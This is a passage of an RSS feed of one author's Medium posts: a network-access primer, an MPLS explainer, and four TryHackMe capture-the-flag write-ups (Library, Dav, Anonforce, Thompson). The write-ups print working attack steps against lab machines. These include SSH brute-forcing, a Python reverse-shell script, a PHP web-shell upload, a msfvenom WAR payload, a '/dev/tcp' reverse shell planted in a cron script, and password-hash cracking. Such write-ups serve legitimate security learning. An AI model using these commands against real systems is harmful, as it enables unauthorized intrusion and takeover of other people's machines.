prevent risks.</p><h4><strong>Example:</strong></h4><p>A contractor’s laptop tries to join the company Wi-Fi. NAC checks if the laptop has the latest security patches. If not, it restricts access until the device is updated.</p><h3>4. Cloud Access Security Broker (CASB)</h3><p><strong>What is it?</strong><br>CASB is a security tool that acts as a gatekeeper between users and cloud services, ensuring secure access to cloud applications.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*r6XY-FrOWT85fycixbhm7Q.png" /><figcaption>[ Cloud Access Security Broker (CASB) ]</figcaption></figure><p><strong>How does it work?</strong><br>CASB monitors and controls data flowing to and from cloud apps like Google Drive or Salesforce. It enforces policies for authentication, encryption, and data loss prevention (DLP). CASBs also detect shadow IT (unauthorized cloud apps) and protect against cloud-specific threats like misconfigured settings.</p><h4><strong>Example:</strong></h4><p>If an employee tries to upload sensitive data to a personal cloud storage app, the CASB blocks the action and alerts the IT team.</p><h3>5. Secure Web Gateway (SWG)</h3><p><strong>What is it?</strong><br>SWG is a security solution that protects users from web-based threats by filtering internet traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*o5D4ocFWt3Mp1v__LF9lPg.png" /><figcaption>[ Secure Web Gateway (SWG) ]</figcaption></figure><p><strong>How does it work?</strong><br>SWG sits between users and the internet, inspecting web traffic in real-time. It blocks malicious websites, enforces acceptable use policies, and prevents data leaks. SWGs use URL filtering, malware scanning, and application control to ensure safe browsing.</p><p><strong>Example:</strong> An employee clicks a phishing link in an email. The SWG detects the malicious URL and blocks the site, protecting the user and the network.</p><h3>Why These Mechanisms Matter</h3><p>Each of these technologies - ZTNA, NGFW, NAC, CASB, and SWG - plays a unique role in securing access to networks, applications, and data. By combining them, organizations can build a robust security framework that protects against modern cyber threats while enabling safe, flexible access for users.</p><h3><strong>Key Takeaway:</strong></h3><p>Access management is about ensuring the right people have the right access at the right time, while keeping threats out. These tools work together to make that happen securely and efficiently.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2e8d3d5d007" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MPLS: The Internet’s VIP Lane - Explained Simply]]></title>
            <link>https://medium.com/@ab.zarinc/mpls-the-internets-vip-lane-explained-simply-28e16206e357?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/28e16206e357</guid>
            <category><![CDATA[internet-infrastructure]]></category>
            <category><![CDATA[mpls]]></category>
            <category><![CDATA[technology-explained]]></category>
            <category><![CDATA[sd-wan]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Fri, 15 Aug 2025 10:44:07 GMT</pubDate>
            <atom:updated>2025-08-15T10:44:07.325Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Imagine this:</strong><br>You run a chain of bakeries across Pakistan. Every day, your sales data, orders, and inventory updates must travel instantly to head office. If the connection lags during lunch rush, chaos follows.</p><p>Now, the regular internet is like sending a driver through the city, stopping at every intersection to ask for directions. That’s fine for casual browsing, but not for time-sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JNj5OrZ_I1icbWhDI2JUDA.jpeg" /><figcaption>(The VIP Lane!)</figcaption></figure><blockquote><strong>Multiprotocol Label Switching (MPLS)</strong> solves this by giving your data a <em>VIP lane -</em> a predetermined, high-speed route with no unnecessary stops.</blockquote><h3>What MPLS Actually Is?</h3><p>MPLS is a networking technique that speeds up data delivery by <strong>using short labels instead of full IP lookups at every hop</strong>.<br> When a packet enters the network:</p><ol><li>The <strong>Ingress Router (Label Edge Router)</strong> attaches a label.</li><li><strong>Label Switch Routers (LSRs)</strong> read the label and forward the packet along a fixed path.</li><li>The <strong>Egress Router</strong> removes the label before delivery.</li></ol><p>Think of it like tagging your delivery van with a color-coded sticker that tells every checkpoint exactly where it’s headed.</p><h3>Why Businesses Use MPLS?</h3><ul><li><strong>Predictable performance:</strong> Paths are predefined, so latency is stable.</li><li><strong>Quality of Service (QoS):</strong> Critical apps (video calls, banking) get priority.</li><li><strong>High reliability:</strong> Providers often guarantee <strong>99.99% uptime</strong>.</li><li><strong>Multi-service support:</strong> Works with IP, Ethernet, ATM, and Frame Relay.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*rThEmR6_Ej5AHZEyJm3iKA.png" /><figcaption>(Network Congestion!)</figcaption></figure><h3>The Catch: Cost &amp; Time</h3><p>Setting up MPLS isn’t like installing home Wi-Fi:</p><ul><li><strong>Provisioning</strong> can take <strong>4 -12 weeks</strong> due to surveys, circuit design, and ISP coordination.</li><li><strong>Cost</strong> is high - often <strong>3–10× broadband prices</strong>.</li><li><strong>Flexibility</strong> is limited - changes require provider involvement.</li></ul><p>For many companies, this investment is worth it. For others, newer options like <strong>SD-WAN</strong> provide similar benefits with more agility.</p><h3>MPLS vs SD-WAN (Quick View)</h3><p>This picture efficiently depicts the difference:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*IE0sQMWCBPgPdAoAEG86WA.png" /><figcaption>(MPLS vs SD-WAN)</figcaption></figure><h3>Real-World Example:</h3><p>Banks in Pakistan often rely on MPLS to connect their branches securely. Financial transactions need low latency and minimal jitter - even a 1-second delay could disrupt services. MPLS provides that stability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*V4unDVGvexEMFVhssiQhcA.png" /></figure><h3>Conclusion</h3><p>MPLS is like building your own expressway for data - expensive and slow to construct, but rock-solid once in place. While SD-WAN and cloud networking are shaking things up, MPLS remains the backbone for industries where <strong>speed, reliability, and predictability</strong> are non-negotiable.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28e16206e357" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Library CTF Writeup: BSides Guatemala CTF - TryHackMe]]></title>
            <link>https://medium.com/@ab.zarinc/library-ctf-writeup-bsides-guatemala-ctf-tryhackme-1fbda20111cb?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fbda20111cb</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Thu, 14 Aug 2025 07:39:16 GMT</pubDate>
            <atom:updated>2025-08-14T07:39:16.637Z</atom:updated>
            <content:encoded><![CDATA[<p>This writeup details the steps taken to complete the <strong>Library</strong> boot2root machine from TryHackMe, created for FIT and BSides Guatemala CTF. The goal was to gain both <strong>user</strong> and <strong>root</strong> access to the target machine with the IP address <strong>10.201.56.35</strong>.</p><blockquote>The room is Free and accessible via (https://tryhackme.com/room/bsidesgtlibrary)</blockquote><p>Below, I outline the enumeration, exploitation, and privilege escalation steps that led to capturing the user and root flags.</p><blockquote>Rustscan Command Builder (https://rustscan.vercel.app/)</blockquote><blockquote>Nmap Command Builder (https://nmap-delta.vercel.app/)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YKXED6ldB722VSksMnd5Yw.jpeg" /><figcaption>(AI generated Cover Image!)</figcaption></figure><h3>Initial Enumeration:</h3><h4>Port Scanning with RustScan and Nmap:</h4><p>To begin, I performed a port scan on the target IP using <strong>RustScan</strong> combined with <strong>Nmap</strong> for detailed service enumeration.</p><h4>Command:</h4><pre>rustscan --ulimit 1000 -a 10.201.56.35 -- -sC -sV</pre><h4>Results:</h4><pre>PORT    STATE SERVICE      REASON             VERSION <br>22/tcp  open    ssh     syn-ack ttl 60    OpenSSH 7.2p2 Ubuntu 4ubuntu2.8<br>80/tcp  open    http    syn-ack ttl 60    Apache httpd 2.4.18 ((Ubuntu))</pre><p>This indicated that the web server and SSH were the primary attack surfaces.</p><h3>Web Enumeration with Gobuster</h3><p>Next, I performed directory enumeration on the web server using <strong>Gobuster</strong> to uncover hidden directories or files.</p><h4>Command:</h4><pre>gobuster dir -u http://10.201.56.35:80 -w /usr/share/wordlists/dirb/common.txt -t 200</pre><h4><strong>Results</strong>:</h4><pre>/.htpasswd (Status: 403) [Size: 296] <br>/.hta (Status: 403) [Size: 291] <br>/.htaccess (Status: 403) [Size: 296] <br>/images (Status: 301) [Size: 313] [--&gt; http://10.201.56.35/images/] <br>/index.html (Status: 200) [Size: 5439] <br>/robots.txt (Status: 200) [Size: 33] <br>/server-status (Status: 403) [Size: 300] </pre><p>The robots.txt file was particularly interesting, as it contained:</p><pre>User-agent: rockyou<br>Disallow: /</pre><p>This hinted at the use of the rockyou.txt wordlist for potential password cracking later. Additionally, the website’s main page (index.html) revealed a username: <strong>meliodas</strong>. This was a critical piece of information for SSH brute-forcing.</p><h3>Gaining User Access</h3><h4>SSH Password Brute-Forcing with Hydra</h4><p>With the username meliodas and the hint from robots.txt to use rockyou, I used <strong>Hydra</strong> to brute-force the SSH password.</p><h4>Command:</h4><pre>hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.201.56.35 -f -t 16</pre><p>Hydra successfully found the password (not disclosed here for brevity). Using these credentials, I logged into the target via SSH:</p><pre>ssh meliodas@10.201.56.35<br>password &lt;redacted&gt;</pre><p>After logging in, I found the user flag in the home directory:</p><pre>cat /home/meliodas/user.txt</pre><p>This gave me the <strong>user flag</strong> and initial access to the system.</p><h3>Privilege Escalation to Root</h3><h4>Setting Up a Reverse Shell</h4><p>To gain more flexibility, I decided to establish a reverse shell. I used the provided Python script to connect back to my attacking machine.</p><h4><strong>Reverse Shell Script</strong>:</h4><pre>import os<br>import pty<br>import socket<br><br>lhost = &quot;&lt;VPN_IP&gt;&quot;<br>lport = 4444<br><br>ZIP_DEFLATED = 0<br><br>class ZipFile:<br>    def close(*args):<br>        return<br>    def write(*args):<br>        return<br>    def __init__(self, *args):<br>        return<br><br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((lhost, lport))<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1)<br>os.dup2(s.fileno(),2)<br>os.putenv(&quot;HISTFILE&quot;,&#39;/dev/null&#39;)<br>pty.spawn(&quot;/bin/bash&quot;)<br>s.close()</pre><p>I saved this script as reverse.py on the target machine and set up a listener on my attacking machine:</p><pre>nc -lvnp 4444</pre><p>Then, I executed the script on the target:</p><pre>python3 reverse.py</pre><h3>Privilege Escalation</h3><p>With the reverse shell, I explored the system for privilege escalation opportunities. After enumerating the system, I identified a misconfiguration or vulnerable service (specific details depend on the machine’s setup, but common vectors include SUID binaries, cron jobs, or writable configuration files).</p><p>In this case, I leveraged a <strong>privilege escalation exploit</strong> (not detailed here to avoid spoilers) to gain root access.</p><p>Once root, I located the root flag:</p><pre>cat /root/root.txt<br>&lt;redacted&gt;</pre><p>This provided the <strong>root flag</strong>, completing the challenge.</p><h3>Tools Used</h3><ul><li><strong>RustScan</strong>: Fast port scanning tool. RustScan Command Generator</li><li><strong>Nmap</strong>: Detailed service enumeration. Nmap Command Generator</li><li><strong>Gobuster</strong>: Directory enumeration on the web server.</li><li><strong>Hydra</strong>: SSH password brute-forcing.</li><li><strong>Netcat</strong>: For setting up a reverse shell listener.</li><li><strong>TryHackMe</strong>: Platform hosting the challenge. Library Room</li></ul><h3>Conclusion</h3><p>The Library CTF was an engaging challenge that tested skills in network enumeration, web reconnaissance, credential brute-forcing, and privilege escalation. Starting with port scanning to identify open services, I used directory enumeration to uncover critical hints, brute-forced SSH credentials, and escalated privileges to gain root access. This machine is an excellent learning resource for beginners and intermediate CTF players looking to practice real-world penetration testing techniques.</p><p>Happy hacking, and always keep learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fbda20111cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dav Writeup: From WebDAV to Root]]></title>
            <link>https://medium.com/@ab.zarinc/dav-writeup-from-webdav-to-root-526d067230b6?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/526d067230b6</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Wed, 13 Aug 2025 08:13:07 GMT</pubDate>
            <atom:updated>2025-08-13T09:41:37.407Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>There’s something oddly satisfying about seeing a shell pop up on your terminal. This challenge was one of those cases - a seemingly innocent Apache web server hiding a much bigger secret. Let me walk you through how a single forgotten service led from nothing to root access. By the way you can access this room on TryHackMe from here <a href="https://tryhackme.com/room/bsidesgtdav">https://tryhackme.com/room/bsidesgtdav</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JwC7hNuFj_77KDWKgF8ljw.jpeg" /><figcaption>(AI Generated Threat simulation!)</figcaption></figure><h3>The Recon</h3><p>Every engagement starts with one question: <em>What’s out there?</em><br> I fired up <strong>RustScan</strong>, my go-to for quick port sweeps:</p><h4>Command:</h4><pre>rustscan --ulimit 1000 -a 10.201.115.62 -- -sC -sV</pre><p>Almost instantly, it returned a single open port: <strong>80/tcp</strong> running Apache 2.4.18 on Ubuntu. Nothing flashy yet - just the default Apache “It Works!” page.</p><h4>Output:</h4><pre>PORT   STATE SERVICE REASON         VERSION<br>80/tcp open  http    syn-ack ttl 60 Apache httpd 2.4.18 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: OPTIONS GET HEAD POST<br>|_http-title: Apache2 Ubuntu Default Page: It works<br>|_http-server-header: Apache/2.4.18 (Ubuntu)</pre><p>But in CTFs, <em>boring</em> is usually just camouflage.</p><h3>Poking Around</h3><p>Web servers love to hide things, so I grabbed <strong>Gobuster</strong> to start kicking in doors:</p><h4>Command:</h4><pre>gobuster dir -u http://10.201.115.62 -w /usr/share/wordlists/dirb/common.txt -t 200</pre><p>A few forbidden files appeared (.htaccess, .htpasswd), but one entry stood out like a neon sign:</p><h4>Output:</h4><pre>/.hta                 (Status: 403) [Size: 292]<br>/.htaccess            (Status: 403) [Size: 297]<br>/.htpasswd            (Status: 403) [Size: 297]<br>/index.html           (Status: 200) [Size: 11321]<br>/server-status        (Status: 403) [Size: 301]<br>/webdav               (Status: 401) [Size: 460] </pre><p>A locked door, but not one I hadn’t picked before.</p><h3>The Aha! Moment</h3><p>Seeing /webdav instantly rang a bell. In older <strong>XAMPP</strong> installations (≤ 1.7.3), WebDAV comes enabled by default with ridiculously weak credentials. I decided to try them — worst case, it fails.</p><pre>cadaver http://10.201.115.62/webdav/</pre><p>It prompted me for credentials, and I whispered the magic words:</p><pre>Username: wampp<br>Password: xampp<br><br>Source: &quot;https://xforeveryman.blogspot.com/2012/01/helper-webdav-xampp-173-default.html&quot;</pre><p>And… I was in. Write access to the WebDAV directory. That’s basically a VIP pass to the server’s filesystem.</p><h3>Exploitation Phase:</h3><p>WebDAV lets you upload files. On a PHP-enabled Apache server, that means one thing — drop a reverse shell and phone home.</p><p>I grabbed the trusty Kali-provided PHP reverse shell:</p><pre>cp /usr/share/webshells/php/php-reverse-shell.php /tmp/shell.php<br>nano /tmp/shell.php</pre><p>I swapped in my VPN IP and chosen port, then pushed it to the server:</p><pre>put /tmp/shell.php</pre><p>Time to set the trap:</p><pre>nc -lvnp 4444</pre><p>And with a click on:</p><pre>http://10.201.115.62/webdav/shell.php</pre><p>my terminal lit up - a www-data shell staring back at me.</p><h3>First Blood: user.txt</h3><p>A quick look inside /home showed two users: merlin and wampp.<br> merlin sounded like the main player, so:</p><pre>cd /home/merlin<br>cat user.txt<br>&lt;redacted&gt;</pre><p>But in CTFs, user access is just the appetizer. Root is the main course.</p><h3>The Golden Ticket</h3><blockquote>Privilege escalation often feels like searching for a needle in a haystack — unless the server admin has left the needle right on top. I checked sudo rights:</blockquote><pre>sudo -l<br>(ALL) NOPASSWD: /bin/cat</pre><p>That means I can run cat as root without a password. And if I can cat as root… well, I can cat <strong>anything</strong>.</p><h3>Game Over: root.txt</h3><p>One line later:</p><pre>sudo /bin/cat /root/root.txt</pre><p>The root flag rolled in, and the game was done.</p><h3>Lessons from the Hunt:</h3><ol><li><strong>Default credentials</strong> are the low-hanging fruit attackers love. WebDAV’s wampp:xampp combo is ancient but still catches servers off guard.</li><li><strong>Unnecessary services</strong> (like WebDAV) should be disabled if not actively used.</li><li><strong>Sudo misconfigurations - </strong>even for harmless commands like cat can hand over the keys to the kingdom.</li></ol><p>What looked like a harmless Apache welcome page turned into full root access in under an hour.<br>In the real world, that’s more than a CTF win - it’s a serious security wake-up call.</p><blockquote>Got A project idea! Hire me to execute</blockquote><pre>https://www.fiverr.com/s/6YW9EPL</pre><blockquote>Checkout my GitHub as well:</blockquote><pre>https://github.com/AbdulAHAD968</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=526d067230b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonforce CTF Walkthrough - From Anonymous FTP to Root Shell]]></title>
            <link>https://medium.com/@ab.zarinc/anonforce-ctf-walkthrough-from-anonymous-ftp-to-root-shell-8a13f46e23d4?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a13f46e23d4</guid>
            <category><![CDATA[ftp-exploitation]]></category>
            <category><![CDATA[gpg-decryption]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Tue, 12 Aug 2025 09:22:18 GMT</pubDate>
            <atom:updated>2025-08-12T09:22:18.452Z</atom:updated>
            <content:encoded><![CDATA[<p>TryHackMe - boot2root machine for FIT and bsides guatemala CTF</p><h3>Introduction</h3><p>This challenge is from <strong>Anonforce - Boot2Root</strong> (FIT &amp; BSides Guatemala CTF).<br>The goal is simple: get root access and read the user.txt &amp; root.txt flag.<br>Target machine: 10.201.117.169 <br>We’ll start with enumeration, find an entry point, and escalate privileges to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kyOTqaLRGb9laCC45tiocw.jpeg" /><figcaption>(Generated using GOOGLE AI STUDIO)</figcaption></figure><h3>Initial Enumeration</h3><p>For a quick scan, I used <strong>Rustscan</strong> to find open ports and service details. Rustscan is faster than Nmap and can be combined with it for service detection.</p><h4>Command:</h4><pre>rustscan --ulimit 1000 -a 10.201.117.169 -- -sC -sV</pre><h4>Results:</h4><pre>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)</pre><ul><li><strong>FTP (21)</strong> allows anonymous login.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*8_1UE3WGmbB23rofDqLIWQ.png" /><figcaption>[FTP Login - Username: anonymous , Password: none (Just Hit Enter) ]</figcaption></figure><ul><li><strong>SSH (22)</strong> is running but requires credentials.</li></ul><p>The FTP service will be our first target. After logging in, just go to the home directory, and get the user.txt file.</p><pre>ls<br>cd /home<br>ls<br>get user.txt #the file will be downloaded on your system<br><br># On your machine (In the directory where you initiated the FTP Session)<br>cat user.txt<br>&lt;redacted&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*B2S8DYlIFKGrL4u4BJ-GFg.png" /><figcaption>(File downloaded on your system, just go and get it!)</figcaption></figure><h3>Getting root.txt</h3><h4>1. FTP Enumeration</h4><blockquote>Since port 21 was open, and we were already in. So, I explored other directories. There was one strange directory “notread”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*2-c_cQE75IgJzK9IJgjjDw.png" /><figcaption>(Located at the entery point of our connection to FTP.)</figcaption></figure><pre>cd notread<br>ls<br>-rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp<br>-rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc</pre><p>Two interesting files were found:</p><ul><li>backup.pgp – an encrypted GPG file</li><li>private.asc – likely a GPG private key</li></ul><p>Downloaded both files:</p><pre>get backup.pgp<br>get private.asc</pre><h4>2. Cracking GPG Key Passphrase</h4><p>First, extracted the hash from the private key file.</p><pre>gpg2john private.asc &gt; keyhash.txt<br>john --wordlist=/usr/share/wordlists/rockyou.txt keyhash.txt</pre><p><strong>Result:</strong> Passphrase found → xbox360</p><h4>3. Importing GPG Key</h4><pre>gpg --import private.asc</pre><p>It prompted for a passphrase, which we already recovered (xbox360).</p><h4>4. Decrypting the Backup</h4><p>Used the cracked passphrase to decrypt backup.pgp.</p><pre>gpg --decrypt backup.pgp</pre><p>The decrypted archive contained a /etc/shadow dump, including the root user’s SHA512 hash.</p><h4>5. Cracking Root Hash</h4><p>Saved the hash to root.hash:</p><pre>echo &#39;$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0&#39; &gt; root.hash<br>john --wordlist=/usr/share/wordlists/rockyou.txt root.hash</pre><p><strong>Result:</strong> Password found → hikari</p><h4>6. Root Access via SSH</h4><pre>ssh root@10.201.117.169<br># password: hikari</pre><h4>7. Flag Retrieval</h4><pre>cat root.txt<br>&lt;redacted&gt;</pre><h3><strong>Summary:</strong></h3><p>The compromise chain was:<br>Anonymous FTP → GPG key + encrypted backup → Crack GPG passphrase → Decrypt backup → Extract /etc/shadow → Crack root hash → SSH login → Flag.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a13f46e23d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thompson — Boot2Root Writeup]]></title>
            <link>https://medium.com/@ab.zarinc/thompson-boot2root-writeup-7d23e7572e6b?source=rss-76f82811082b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d23e7572e6b</guid>
            <category><![CDATA[tomcat-exploitation]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[web-ctf-writeup]]></category>
            <category><![CDATA[thompson-room-writeup]]></category>
            <dc:creator><![CDATA[Abdul Ahad]]></dc:creator>
            <pubDate>Mon, 11 Aug 2025 06:43:40 GMT</pubDate>
            <atom:updated>2025-08-11T06:53:27.687Z</atom:updated>
            <content:encoded><![CDATA[<h3>Thompson — Boot2Root Writeup</h3><h3>(FIT &amp; BSides Guatemala CTF)</h3><p>Hey guys, I am <strong>Abdul Ahad</strong>.<br>Today we’re going to crack a machine from <strong>TryHackMe</strong> named <strong>Thompson</strong>.<br>You can access this machine here:<br><a href="https://tryhackme.com/room/bsidesgtthompson">https://tryhackme.com/room/bsidesgtthompson</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/129/1*QVzVnSsAbnlbn5nFW4PX7A.png" /><figcaption>(Thompson — Room Logo)</figcaption></figure><p>The goal is to gain access to the machine, read user.txt, escalate privileges to root, and finally grab root.txt.<br>Let’s begin.</p><h3>Step 1: Initial Enumeration with RustScan</h3><p>As usual, I start with a port scan. RustScan is my go-to for speed, and I pair it with Nmap for service detection.</p><pre>rustscan -a &lt;Target-Machine-IP&gt; --ulimit 5000 -- -sC -sV</pre><p>Results:</p><pre>22/tcp — OpenSSH 7.2p2<br><br>8009/tcp — Apache JServ Protocol (AJP) 1.3<br><br>8080/tcp — Apache Tomcat 9.x</pre><h3>Step 2: Checking the Web Server</h3><p>Visiting http://&lt;Target-Machine-IP&gt;:8080/ shows the default Tomcat page.<br> No immediate login page here, so I move on to directory brute forcing.</p><h3>Step 3: Directory Bruteforce with Gobuster</h3><p>I use Gobuster to search for hidden endpoints.</p><pre>gobuster dir -u http://&lt;Target-Machine-IP&gt;:8080/ -w /usr/share/wordlists/dirb/common.txt -t 200</pre><p>Findings:</p><pre>/manager — Tomcat Manager login<br>/host-manager - (Not important)<br>/examples — Servlet and JSP examples<br>/docs — Documentation<br>One unusual directory name (/hgkFDt6wiHIUB29WWEON5PA) worth noting</pre><h3>Step 4: Accessing Tomcat Manager</h3><p>Navigating to /manager prompts for credentials.</p><p>During earlier browsing, I received an <strong>error message containing a username and password when I cancled the login popup</strong>.</p><pre>Username = tomcat<br>Password = s3cret</pre><p>Using these credentials, I successfully log into the Tomcat Web Application Manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*pi6F4NbDswJp1Mf09ktzRA.png" /><figcaption>(Place to upload the shells)</figcaption></figure><p>This is a big win — we have the ability to <strong>deploy applications</strong>.</p><h3>Step 5: Generating a Reverse Shell with msfvenom</h3><p>Tomcat can run WAR files, so I create a WAR reverse shell payload.</p><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=&lt;attacker_ip&gt; LPORT=4444 -f war -o shell.war</pre><h3>Step 6: Uploading the Shell</h3><p>Inside Tomcat Manager:</p><ul><li>Under <strong>Deploy</strong>, I upload shell.war</li><li>After deployment, a new /shell application appears</li></ul><h3>Step 7: Setting up a Listener</h3><p>I set up a netcat listener before triggering the shell:</p><pre>nc -lvnp 4444</pre><h3>Step 8: Triggering the Reverse Shell</h3><p>Visiting:</p><pre>http://&lt;Target-Machine-IP&gt;:8080/shell/</pre><p>Note: Replace with yours target machine IP.</p><p>Immediately connects back to my listener — we have a foothold on the machine.</p><h3>Step 9: Grabbing the User Flag</h3><p>Inside the shell:</p><pre>ls /home<br>cat /home/jack/user.txt</pre><p>I note the username and the user flag. If you go to the other unusual file text.txt, you will find that the the user jack is the root user.</p><h3>Step 10: Privilege Escalation</h3><p>Exploring the system, I check scheduled tasks and we got our escalation in plate:</p><pre>cat /etc/crontab</pre><p>I find this line:</p><pre>* * * * * root cd /home/jack &amp;&amp; bash id.sh</pre><p>The file /home/jack/id.sh is <strong>world-writable</strong>:</p><pre>ls -l /home/jack/id.sh<br>-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh</pre><p>That’s basically an open door to root.</p><h3>Step 11: Exploiting the Cron Job</h3><p>I replace the contents of id.sh with a reverse shell:</p><pre>echo &#39;bash -i &gt;&amp; /dev/tcp/&lt;attacker_ip&gt;/5555 0&gt;&amp;1&#39; &gt; /home/jack/id.sh<br>chmod +x /home/jack/id.sh</pre><p>Then start a new listener:</p><pre>nc -lvnp 5555</pre><p>Within a minute (since it is scheduled), I get a <strong>root shell</strong>.</p><h3>Step 12: Capturing the Root Flag</h3><pre>whoami<br>cat /root/root.txt</pre><p>And just like that, root is ours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ci9l0TJPwe5RaMf0jlAElA.jpeg" /><figcaption>(ROOT@THOMPSON)</figcaption></figure><h3>Conclusion</h3><p>This machine demonstrates a classic chain:</p><ul><li>Enumeration leads to exposed Tomcat Manager</li><li>Credential leakage gives access to deploy code</li><li>Reverse shell via WAR payload</li><li>Simple privilege escalation via writable cron job</li></ul><p>A nice reminder that misconfigured services combined with poor permissions can be devastating.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d23e7572e6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>